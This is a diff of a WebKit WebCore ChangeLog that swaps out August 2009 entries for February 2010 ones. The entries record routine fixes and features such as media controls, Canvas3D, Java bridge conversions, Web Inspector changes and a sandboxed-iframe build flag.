-        (WebCore::runtimeObjectCustomGetOwnPropertyDescriptor):
-        * bindings/js/JSPluginElementFunctions.h:
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyDescriptor):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::getOwnPropertyDescriptorDelegate):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/objc/objc_runtime.h:
-        * bridge/objc/objc_runtime.mm:
-        (JSC::Bindings::ObjcFallbackObjectImp::getOwnPropertyDescriptor):
-        * bridge/runtime.h:
-        (JSC::Bindings::Instance::getOwnPropertyDescriptor):
-        * bridge/runtime_array.cpp:
-        (JSC::RuntimeArray::getOwnPropertyDescriptor):
-        * bridge/runtime_array.h:
-        * bridge/runtime_method.cpp:
-        (JSC::RuntimeMethod::getOwnPropertyDescriptor):
-        * bridge/runtime_method.h:
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::getOwnPropertyDescriptor):
-        * bridge/runtime_object.h:
-
-2009-08-26  Vincent Untz <vuntz@gnome.org>
-
-        Reviewed by Xan Lopez.
-
-        GObject checks for NULL (and not 0) in g_object_get, so use that
-        as we were already doing elsewhere to make the compiler happy.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::hasAudio):
-
-2009-08-26  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by David Levin.
-
-        RenderThemeMac.mm has incorrect casting for media control element.
-        https://bugs.webkit.org/show_bug.cgi?id=28730
-
-        MediaControlMuteButtonElement was incorrectly casted to
-        MediaControlPlayButtonElement. This is corrected in this patch.
-
-        No new tests because this is code cleanup and is already covered by existing
-        media layout tests.
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintMediaMuteButton):
-
-2009-08-26  Robert Sesek  <rsesek@chromium.org>
-
-        Reviewed by Eric Seidel.
+        * platform/network/ResourceResponseBase.cpp:
+        (WebCore::ResourceResponseBase::adopt):
+        (WebCore::ResourceResponseBase::copyData):
+        * platform/network/ResourceResponseBase.h:
+        * svg/SVGDocumentExtensions.cpp:
+        (WebCore::SVGDocumentExtensions::removePendingResource):
+        * svg/SVGDocumentExtensions.h:
+        * svg/SVGElement.cpp:
+        (WebCore::SVGElement::insertedIntoDocument):
+        * workers/GenericWorkerTask.h:
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThreadStartupData::create):
 
-        [Chromium] Multi-value select boxes cannot do non-contiguous selection on Mac
-        https://bugs.webkit.org/show_bug.cgi?id=28670
+2010-02-21  Simon Fraser  <simon.fraser@apple.com>
 
-        Change the condition regarding the key modifier check for non-contiguous
-        selection on a multi-value list from just PLATFORM(MAC) to
-        PLATFORM(MAC) || (PLATFORM(CHROMIUM) && PLATFORM(DARWIN)).
+        Reviewed by Dan Bernstein.
 
-        No new tests. This patch only changes the condition on which a certain mouse
-        event modifier key is used.
+        https://bugs.webkit.org/show_bug.cgi?id=22215
+        Avoid calling absoluteClippedOverflowRect() so many times
 
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::listBoxDefaultEventHandler):
+        RenderLayer::updateLayerPositions() computes the clipped overflow rect
+        and the outline bounds for repaint, and then calls repaintAfterLayoutIfNeeded()
+        which can compute the same rects all over again. Avoid this by passing
+        these two rects into repaintAfterLayoutIfNeeded() if known. This measurably
+        reduces the time spent in updateLayerPositions() for some content.
 
-2009-08-25  Eric Carlson  <eric.carlson@apple.com>
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPositions):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::repaintAfterLayoutIfNeeded):
+        * rendering/RenderObject.h:
 
-        Reviewed by Dan Bernstein
+2010-02-20  Alexey Proskuryakov  <ap@apple.com>
 
-        r47744 causes media/video-controls-with-mutation-event-handler.html to crash
-        https://bugs.webkit.org/show_bug.cgi?id=28732
+        Reviewed by Maciej Stachowiak.
 
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlVolumeSliderElement::MediaControlVolumeSliderElement):
-            Don't call setAttribute from the construtor, any registered mutation event 
-            listener will cause a crash.
+        https://bugs.webkit.org/show_bug.cgi?id=35202
+        <rdar://problem/4856597> Calling Java method which accepts Object always passes a null argument
 
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::createVolumeSlider):
-            Set the maxAttr here instead of in the constructor.
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: (JSC::Bindings::convertValueToJValue): Add cases for
+        other JS types.
 
-2009-08-25  Dmitry Titov  <dimich@chromium.org>
+2010-02-20  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        Reviewed by Brady Eidson.
+        Reviewed by Darin Adler.
 
-        Timers from cached pages fire instantly rather than the after the specified timeout delay
-        https://bugs.webkit.org/show_bug.cgi?id=28683
+        Fix compiler warning "suggest parentheses around"
+        https://bugs.webkit.org/show_bug.cgi?id=35197
 
-        Test: fast/dom/Window/timer-resume-on-navigation-back.html
+        No new tests as there is no new functionality.
 
-        * history/CachedPage.cpp:
-        (WebCore::CachedPage::restore): Remove duplicated Frame::restore() call, since
-            it should be done only once in FrameLoader::open(cachedFrame)
-        * page/DOMTimer.cpp: Added a debug-only flag and ASSERT to catch out-of-order suspense/restore.
-        (WebCore::DOMTimer::DOMTimer): Ditto.
-        (WebCore::DOMTimer::suspend): Ditto.
-        (WebCore::DOMTimer::resume): Ditto.
-        * page/DOMTimer.h: Ditto.
+        * html/DateComponents.cpp:
+        (WebCore::beforeGregorianStartDate):
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::findPlugin):
 
-2009-08-25  Eric Carlson  <eric.carlson@apple.com>
+2010-02-20  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        Reviewed by Simon Fraser.
+        Reviewed by Laszlo Gombos.
 
-        Setting the volume of a media element has no effect if called too early
-        https://bugs.webkit.org/show_bug.cgi?id=28731
+        [Qt] ENABLE_3D_RENDERING should be optional
+        https://bugs.webkit.org/show_bug.cgi?id=35100
 
-        * manual-tests/audio-volume.html: 
-            Added.
+        No new tests: this is a build fix.
 
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::setVolume):
-        (WebCore::MediaPlayerPrivate::setRate):
-            Don't bail if metadata hasn't been loaded, it is fine to set rate and/or
-            volume as soon as the movie has been created.
+        * WebCore.pri: ENABLE_3D_RENDERING is now a proper feature test
 
-2009-08-25  David Levin  <levin@chromium.org>
+2010-02-20  Alexey Proskuryakov  <ap@apple.com>
 
         Reviewed by Maciej Stachowiak.
 
-        DocumentThreadableLoader::getShouldUseCredentialStorage should allow for synchronous callbacks from SubresourceLoader::create.
-        https://bugs.webkit.org/show_bug.cgi?id=28728
-
-        Test: This code path is exercised while running xhr layout tests in chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=23742
+        Applet methods can not return arrays to JS
 
-        * loader/DocumentThreadableLoader.cpp:
-        (WebCore::DocumentThreadableLoader::getShouldUseCredentialStorage): When called
-        back synchronously, the loader is 0, so the assert is changed to allow for that.
-        (WebCore::DocumentThreadableLoader::loadRequest): Synchronous callbacks may be
-        done before SubresourceLoader::create finishes, so ensure that any previous loader
-        -- from a preflight request -- is cleared before calling SubresourceLoader::create.
+        * bridge/jni/jsc/JNIBridgeJSC.cpp: (JavaArray::JavaArray): Don't accidentally zero out
+        m_rootObject (that's how PassRefPtr works). Without m_rootObject, we crash quickly.
 
-2009-08-25  Mark Rowe  <mrowe@apple.com>
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: (JavaInstance::invokeMethod): Do handle returned arrays.
+        Also, added an ifdef around  code that's only needed on Tiger, and removed a comment saying
+        it can be removed when "new" plugin ships. I doubt that anyone can remember what "new"
+        could refer to back then.
 
-        Stop installing IDL files in to the framework.
+2010-02-20  Pavel Feldman  <pfeldman@chromium.org>
 
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-08-25  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
+        Reviewed by Timothy Hatcher.
 
-        Support for HTMLInputElement::list and HTMLInputElement::selectedOption.
-        https://bugs.webkit.org/show_bug.cgi?id=27756
+        Web Inspector: re-creating view in ResourcesPanel confuses ScriptsPanel's visibleView logic.
 
-        Tests: fast/forms/input-list.html
-               fast/forms/input-selectedoption.html
+        https://bugs.webkit.org/show_bug.cgi?id=35192
 
-        * html/HTMLAttributeNames.in:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::parseMappedAttribute):
-        (WebCore::HTMLInputElement::list):
-        (WebCore::HTMLInputElement::selectedOption):
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-
-2009-08-25  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Oliver Hunt.
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.show):
+        (WebInspector.ScriptsPanel.prototype.viewRecreated):
 
-        <video> and <audio> controller should be accessible (edit)
-        https://bugs.webkit.org/show_bug.cgi?id=28081
+2010-02-20  Pavel Feldman  <pfeldman@chromium.org>
 
-        Test: accessibility/media-element.html
+        Reviewed by Timothy Hatcher.
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-            Add AccessibilityMediaControls.cpp/.h
+        Web Inspector: need to highlight the evaluated expression used for popovers.
 
-        * accessibility/AXObjectCache.cpp:
-        * accessibility/AXObjectCache.h:
-        (WebCore::AXObjectCache::getOrCreate):
-            Create AccessibilityMediaControl. Update Copyright
+        https://bugs.webkit.org/show_bug.cgi?id=35126
 
-        * accessibility/AccessibilityMediaControls.cpp:
-        * accessibility/AccessibilityMediaControls.h:
-            Added.
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._mouseMove):
+        (WebInspector.SourceFrame.prototype._hidePopup):
+        (WebInspector.SourceFrame.prototype._mouseHover):
+        (WebInspector.SourceFrame.prototype._showPopup.showObjectPopup):
+        (WebInspector.SourceFrame.prototype._showPopup):
+        * inspector/front-end/inspector.css:
 
-        * accessibility/AccessibilityObject.cpp:
-        * accessibility/AccessibilityObject.h:
-            Add isMediaTimeline. Update Copyright.
+2010-02-20  Gustavo Noronha Silva  <gns@gnome.org>
 
-        * accessibility/AccessibilitySlider.h:
-            Make constructor protected instead of private so AccessibilityMediaTimeline can
-            call it.
+        Roll out 55047 because it causes layout, and API tests to fail
 
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
-            Add NSAccessibilityValueDescriptionAttribute to range attributes. 
-        (-[AccessibilityObjectWrapper subrole]):
-            Return NSAccessibilityTimelineSubrole for AccessibilityMediaTimeline.
+2010-02-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * dom/Node.h:
-            add isMediaControlElement.
+        Reviewed by Xan Lopez.
 
-        * page/mac/WebCoreViewFactory.h:
-        * platform/LocalizedStrings.h:
-        * platform/mac/LocalizedStringsMac.mm:
-        (WebCore::localizedMediaControlElementString): 
-        (WebCore::localizedMediaControlElementHelpText):
-        (WebCore::localizedMediaTimeDescription): 
-            New, return localized media controller strings.
+        [Soup] loses information related to message flags when converting from/to Resource{Request,Response}
+        https://bugs.webkit.org/show_bug.cgi?id=35093
 
-        * platform/gtk/LocalizedStringsGtk.cpp:
-        (WebCore::mediaElementLoadingStateText):
-        (WebCore::mediaElementLiveBroadcastStateText):
-            Move inside of "#if ENABLE(VIDEO)"
-        (WebCore::localizedMediaControlElementString):
-        (WebCore::localizedMediaControlElementHelpText):
-        (WebCore::localizedMediaTimeDescription):
+        Refactor updating of ResourceResponse objects from soup message
+        objects, to avoid code duplication.
 
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlElement::MediaControlElement):
-            Initialize m_displayType.
-        (WebCore::MediaControlElement::MediaControlElement):
-        (WebCore::MediaControlStatusDisplayElement::MediaControlStatusDisplayElement):
-            Fix style.
-        (WebCore::MediaControlInputElement::MediaControlInputElement):
-            Set m_displayType based on pseudo style ID.
-        (WebCore::MediaControlInputElement::MediaControlInputElement):
-            rename local "o" to "object".
-        (WebCore::MediaControlMuteButtonElement::MediaControlMuteButtonElement):
-        (WebCore::MediaControlPlayButtonElement::MediaControlPlayButtonElement):
-        (WebCore::MediaControlSeekButtonElement::MediaControlSeekButtonElement):
-        (WebCore::MediaControlRewindButtonElement::MediaControlRewindButtonElement):
-        (WebCore::MediaControlReturnToRealtimeButtonElement::MediaControlReturnToRealtimeButtonElement):
-        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
-        (WebCore::MediaControlFullscreenButtonElement::MediaControlFullscreenButtonElement):
-        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
-        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
-        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
-            Update for MediaControlInputElement constructor change.
-        (WebCore::MediaControlTimeDisplayElement::formatTime):
-            New, moved here from RenderMedia so AccessibilityMediaTimeDisplay can use it.
-        (WebCore::MediaControlTimeDisplayElement::setCurrentValue):
-            New, set text to current time.
-        * rendering/MediaControlElements.h:
+        No behaviour change.
 
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::updateControls):
-            Create controls in tab order.
-        (WebCore::RenderMedia::formatTime):
-            Moved to MediaControlTimeDisplayElement::formatTime.
-        (WebCore::RenderMedia::updateTimeDisplay):
-            Call MediaControlTimeDisplayElement::setCurrentValue.
-        * rendering/RenderMedia.h:
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::fillResponseFromMessage):
+        * platform/network/soup/ResourceResponseSoup.cpp:
+        (WebCore::ResourceResponse::updateFromSoupMessage):
 
-2009-08-25  Jian Li  <jianli@chromium.org>
+2010-02-20  Alexey Proskuryakov  <ap@apple.com>
 
-        Reviewed by David Levin.
+        Reviewed by Maciej Stachowiak.
 
-        [V8] Fix Canvas layout test failures in Chromium build.
-        https://bugs.webkit.org/show_bug.cgi?id=28720
+        https://bugs.webkit.org/show_bug.cgi?id=35190
+        Don't use system malloc in Java bindings
 
-        The previous fix r47757 does not handle the V8 object conversion correctly.
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: (JavaInstance::invokeMethod): Switched to WTF::Vector.
 
-        * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+2010-02-20  Alexey Proskuryakov  <ap@apple.com>
 
-2009-08-25  Jian Li  <jianli@chromium.org>
+        Reviewed by Maciej Stachowiak.
 
-        Reviewed by David Levin.
+        https://bugs.webkit.org/show_bug.cgi?id=9761
+        LiveConnect string conversion fails for java.lang.Object
 
-        [V8] Fix compiling errors in Chromium build caused by Canvas3D changes from r47752.
-        https://bugs.webkit.org/show_bug.cgi?id=28717
+        Can't test Java in DRT (I wonder why).
 
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: (JSC::Bindings::convertValueToJValue):
+        Added the necessary conversion. Also, removed CONVERT_NULL_TO_EMPTY_STRING dead code.
 
-2009-08-25  Alpha Lam  <hclam@chromium.org>
+2010-02-19  Maciej Stachowiak  <mjs@apple.com>
 
         Reviewed by David Levin.
 
-        [chromium] Implement media volume slider for chromium
-        https://bugs.webkit.org/show_bug.cgi?id=28715
-
-        Provided the implementation of the volume slider and its container for
-        chromium port. With this change there will be a usable volume control
-        slider for chromium theme.
+        Add an ENABLE flag for sandboxed iframes to make it possible to disable it in releases
+        https://bugs.webkit.org/show_bug.cgi?id=35147
 
-        No new tests since this is covered by existing media layout tests.
+        I made ENABLE(SANDBOX) only control the sandbox attribute itself;
+        I did not ifdef the infrastructure to make sandboxing
+        switchable. This is because the likely concerns about sandboxing
+        are not stability of the infrastructure code, but rather the fact
+        that the security model exposed to authors is still evolving.
 
-        * css/mediaControlsChromium.css: CSS style for the volume slider.
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::mediaSliderThumbImage): Returns the image for slider thumb.
-        (WebCore::mediaVolumeSliderThumbImage): Returns the image for volume slider thumb.
-        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderTrack): Paints the track with one vertical white line.
-        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize): Adjusts thumb sizes according to the images.
-        (WebCore::RenderThemeChromiumSkia::paintMediaSliderThumb): Paints slider thumb image.
-        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderThumb): Paints volume slider thumb image.
+        * Configurations/FeatureDefines.xcconfig:
+        * GNUmakefile.am:
+        * WebCore.pri:
+        * html/HTMLIFrameElement.cpp:
+        (WebCore::HTMLIFrameElement::parseMappedAttribute):
 
-2009-08-25  Chris Marrin  <cmarrin@apple.com>
+2010-02-19  Alexey Proskuryakov  <ap@apple.com>
 
-        Reviewed by Simon Fraser.
+        Reviewed by Maciej Stachowiak.
 
-        Missed checking in 2 Canvas3D files
-        https://bugs.webkit.org/show_bug.cgi?id=28018
+        https://bugs.webkit.org/show_bug.cgi?id=35132
+        <rdar://problem/7664353> Mouse cursor sometimes flickers over Flash content (35132)
 
-        * bindings/js/JSCanvasRenderingContextCustom.cpp: Implements toJS to do proper subclass binding
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp: Argument marshaling for 3D calls
+        * page/EventHandler.cpp: (WebCore::EventHandler::handleMouseMoveEvent): Don't set mouse
+        pointer when above a plug-in or applet to prevent flicker.
 
-2009-08-25  Mads Ager  <ager@chromium.org>
+2010-02-18  Peter Kasting  <pkasting@google.com>
 
         Reviewed by Adam Barth.
 
-        [V8] Exception from JavaScript propagates to main script
-        https://bugs.webkit.org/show_bug.cgi?id=26433
-
-        Make sure that exceptions thrown both at compile time and at
-        runtime in javascript URLs are isolated from the main script.
+        Fix regression in calculating an animated image's start time.
+        https://bugs.webkit.org/show_bug.cgi?id=35115
 
-        Test: fast/dom/javascript-url-exception-isolation.html
+        * platform/graphics/BitmapImage.cpp:
+        (WebCore::BitmapImage::startAnimation):
 
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluate):
+2010-02-19  Alexey Proskuryakov  <ap@apple.com>
 
-2009-08-25  Chris Marrin  <cmarrin@apple.com>
+        Reviewed by Geoffrey Garen.
 
-        Reviewed by Simon Fraser.
+        https://bugs.webkit.org/show_bug.cgi?id=35178
+        LiveConnect code uses hand-rolled fprintf logging
 
-        Added all new Canvas3D files to the build
-        https://bugs.webkit.org/show_bug.cgi?id=28018
+        Changed to use LOG, LOG_ERROR and ASSERT.
 
-        This also hooks up CanvasRenderingContext as the common base class for
-        CanvasRenderingContext2D and CanvasRenderingContext3D. And it adds a bit
-        of logic throughout to support the new CanvasRenderingContext3D object.
-        But nothing is hooked up yet.
+        * platform/Logging.cpp:
+        (WebCore::getChannelFromName):
+        * platform/Logging.h:
+        * platform/mac/LoggingMac.mm:
+        (WebCore::InitializeLoggingChannelsIfNecessary):
+        * platform/win/LoggingWin.cpp:
+        (WebCore::InitializeLoggingChannelsIfNecessary):
+        TextConversion channel was (almost) unused, renamed to LiveConnect.
+
+        * platform/text/gtk/TextCodecGtk.cpp: (WebCore::TextCodecGtk::registerEncodingNames):
+        The only use of this channel was in platform specific code, commandeered it for cross-platform
+        needs.
+
+        * bridge/jni/JNIBridge.cpp:
+        * bridge/jni/JNIUtility.cpp:
+        (JSC::Bindings::getJavaVM):
+        (JSC::Bindings::getJNIEnv):
+        (JSC::Bindings::getJNIField):
+        * bridge/jni/JNIUtility.h:
+        (JSC::Bindings::callJNIMethodV):
+        (JSC::Bindings::callJNIStaticMethod):
+        * bridge/jni/jni_jsobject.mm:
+        (completedJavaScriptAccess):
+        (dispatchToJavaScriptThread):
+        (performJavaScriptAccess):
+        (JavaJSObject::invoke):
+        (JavaJSObject::call):
+        (JavaJSObject::eval):
+        (JavaJSObject::getMember):
+        (JavaJSObject::setMember):
+        (JavaJSObject::removeMember):
+        (JavaJSObject::getSlot):
+        (JavaJSObject::setSlot):
+        (JavaJSObject::toString):
+        (JavaJSObject::createNative):
+        * bridge/jni/jsc/JNIBridgeJSC.cpp:
+        (JavaField::valueFromInstance):
+        (JavaField::setValueToInstance):
+        * bridge/jni/jsc/JavaClassJSC.cpp:
+        (JavaClass::JavaClass):
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        (JavaInstance::invokeMethod):
+        (JObjectWrapper::JObjectWrapper):
+        (JObjectWrapper::~JObjectWrapper):
 
-        * DerivedSources.make:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore/GNUmakefile.am:
-        * WebCore/WebCore.gypi:
-        * WebCore/WebCoreSources.bkl:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSCanvasRenderingContext2DCustom.cpp:
-        (WebCore::JSCanvasRenderingContext2D::strokeStyle):
-        (WebCore::JSCanvasRenderingContext2D::setStrokeStyle):
-        (WebCore::JSCanvasRenderingContext2D::fillStyle):
-        (WebCore::JSCanvasRenderingContext2D::setFillStyle):
-        (WebCore::JSCanvasRenderingContext2D::setFillColor):
-        (WebCore::JSCanvasRenderingContext2D::setStrokeColor):
-        (WebCore::JSCanvasRenderingContext2D::strokeRect):
-        (WebCore::JSCanvasRenderingContext2D::drawImage):
-        (WebCore::JSCanvasRenderingContext2D::drawImageFromRect):
-        (WebCore::JSCanvasRenderingContext2D::setShadow):
-        (WebCore::JSCanvasRenderingContext2D::createPattern):
-        (WebCore::JSCanvasRenderingContext2D::putImageData):
-        (WebCore::JSCanvasRenderingContext2D::fillText):
-        (WebCore::JSCanvasRenderingContext2D::strokeText):
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::isObservableThroughDOM):
-        * bindings/js/JSDocumentCustom.cpp:
-        * bindings/js/JSHTMLCanvasElementCustom.cpp:
-        (WebCore::JSHTMLCanvasElement::markChildren):
-        * dom/Document.cpp:
-        (WebCore::Document::getCSSCanvasContext):
-        * dom/Document.h:
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext):
-        (WebCore::HTMLCanvasElement::willDraw):
-        (WebCore::HTMLCanvasElement::reset):
-        (WebCore::HTMLCanvasElement::paint):
-        (WebCore::HTMLCanvasElement::is3D):
-        (WebCore::HTMLCanvasElement::context3D):
-        (WebCore::HTMLCanvasElement::texture3D):
-        * html/HTMLCanvasElement.h:
-        (WebCore::HTMLCanvasElement::renderingContext):
-        * html/canvas/CanvasObject.cpp:
-        (WebCore::CanvasObject::~CanvasObject):
-        * html/canvas/CanvasRenderingContext.idl:
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::CanvasRenderingContext2D):
-        (WebCore::CanvasRenderingContext2D::~CanvasRenderingContext2D):
-        * html/canvas/CanvasRenderingContext2D.h:
-        (WebCore::CanvasRenderingContext2D::is2d):
-        * html/canvas/CanvasRenderingContext2D.idl:
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        * html/canvas/CanvasRenderingContext3D.idl:
+2010-02-19  Dirk Schulze  <krit@webkit.org>
 
-2009-08-25  Dan Bernstein  <mitz@apple.com>
+        Reviewed by Nikolas Zimmermann.
 
-        Reviewed by Anders Carlsson.
+        RenderSVGResourceMasker causes an Assert on Wind builds during DRT
+        https://bugs.webkit.org/show_bug.cgi?id=35182
 
-        REGRESSION (r47630): fast/repaint/background-generated.html is failing
-        https://bugs.webkit.org/show_bug.cgi?id=28704
+        We remove the Assert for now and return earlier, if the HashMap of the Masker
+        does not contain the RenderObject. The RenderObject is an identifiert to get
+        a already calculated mask.
+        A race condition during parsing can cause the invalidation call, before the mask
+        got calculated (only during DRT on Win build bots).
+        The real bug will be fixed with: https://bugs.webkit.org/show_bug.cgi?id=35181
 
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::calculateFillTileSize): Handle SizeNone.
-        * rendering/style/FillLayer.cpp:
-        (WebCore::FillLayer::FillLayer): Initialize the size type to SizeNone.
-        * rendering/style/FillLayer.h:
-        (WebCore::FillSize::FillSize): Changed assignment to initialization and
-            removed redundant assignment to size.
+        * rendering/RenderSVGResourceMasker.cpp:
+        (WebCore::RenderSVGResourceMasker::invalidateClient):
 
-2009-08-25  Yusuke Sato  <yusukes@chromium.org>
+2010-02-18  Peter Kasting  <pkasting@google.com>
 
         Reviewed by Darin Fisher.
 
-        [Chromium] Complex text doesn't show up with text stroking
-        https://bugs.webkit.org/show_bug.cgi?id=28707
-
-        Skip the NULL check of m_hdc if Windows GDI is not in use.
-
-        * platform/graphics/chromium/FontChromiumWin.cpp:
-        (WebCore::Font::drawComplexText):
-
-2009-08-25  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by David Levin.
-
-        Media controls panel does not have a volume control slider
-        https://bugs.webkit.org/show_bug.cgi?id=28241
-
-        Introduced "-webkit-media-controls-volume-slider",
-        "-webkit-media-controls-volume-slider-container" and the supporting
-        implementation. Also added appearances of "media-volume-slider" and
-        "media-volume-slider-container".
-
-        The implementation of the controls are in WebCore::MediaControlElements.
-        Logic to trigger the display of the volume controls are in WebCore::RenderMedia.
-
-        No new tests since this change doesn't have theme implementation and the
-        volume slider is disabled by default.
-
-        * accessibility/AccessibilitySlider.cpp:
-        (WebCore::AccessibilitySlider::orientation): Marks that volume slider is vertical.
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Added corresponding CSS values.
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType): ditto.
-        * css/CSSSelector.h:
-        (WebCore::CSSSelector::): ditto.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): ditto.
-        * css/CSSValueKeywords.in: ditto.
-        * css/mediaControls.css: Makes the volume slider disabled by default.
-        * platform/ThemeTypes.h: Defines theme parts for volume slider and its container.
-        (WebCore::):
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlVolumeSliderContainerElement::MediaControlVolumeSliderContainerElement):
-        (WebCore::MediaControlVolumeSliderContainerElement::styleForElement):
-        Adjust the CSS values for "display", "postion", "left" and "top" according to member variables.
-        (WebCore::MediaControlVolumeSliderContainerElement::setVisible): Affects the "display" CSS value.
-        (WebCore::MediaControlVolumeSliderContainerElement::setPosition): Affects the "left" and "top" CSS values.
-        (WebCore::MediaControlVolumeSliderContainerElement::hitTest): Hit testing this element.
-        (WebCore::MediaControlVolumeSliderElement::MediaControlVolumeSliderElement):
-        (WebCore::MediaControlVolumeSliderElement::defaultEventHandler): Modifies the volume using the slider value, allows dragging.
-        * rendering/MediaControlElements.h:
-        (WebCore::): Added definition for MediaControlVolumeSliderElement and MediaControlVolumeSliderContainerElement.
-        (WebCore::MediaControlVolumeSliderContainerElement::isVisible): Inline getter.
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::styleDidChange): Updates styles for volume container and volume slider.
-        (WebCore::RenderMedia::createVolumeSliderContainer): Creates volume slider container and attach to panel.
-        (WebCore::RenderMedia::createVolumeSlider): Creates volume slider and attach to volume slider container.
-        (WebCore::RenderMedia::updateControls): Updates volume container and volume slider.
-        (WebCore::RenderMedia::updateVolumeSliderContainer): Sets the visibility and position of volume slider container and its child.
-        (WebCore::RenderMedia::forwardEvent):
-        Hit testing the volume slider container and volume slider to toggle the visibility and forward events to slider.
-        * rendering/RenderMedia.h:
-        Added definition for RenderMedia::updateVolumeSliderContainer().
-        * rendering/RenderMediaControls.cpp:
-        (WebCore::RenderMediaControls::paintMediaControlsPart): Not implemented.
-        * rendering/RenderSlider.cpp:
-        (WebCore::RenderSlider::createThumbStyle): Makes volume slider vertical.
-        (WebCore::RenderSlider::thumbRect): ditto.
-        (WebCore::RenderSlider::mouseEventIsInThumb): ditto.
-        (WebCore::RenderSlider::setValueForPosition): ditto.
-        (WebCore::RenderSlider::positionForOffset): ditto.
-        (WebCore::RenderSlider::currentPosition): ditto.
-        (WebCore::RenderSlider::trackSize): ditto.
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::adjustStyle): Adjust style for volume slider thumb.
-        (WebCore::RenderTheme::paint): Paints volume control parts using theme.
-        * rendering/RenderTheme.h:
-        (WebCore::RenderTheme::paintMediaVolumeSliderContainer): Naive implementation to be overridden.
-        (WebCore::RenderTheme::paintMediaVolumeSliderTrack): ditto.
-        (WebCore::RenderTheme::paintMediaVolumeSliderThumb): ditto.
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::): Constants for volume control parts.
-
-2009-08-25  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Ariya Hidayat.
-
-        [Qt/Mac] Use CONFIG+=build_all only when building libraries
-
-        If no configuration is specified when building WebKit we pass the
-        debug_and_release option to QMake which results in Makefiles for
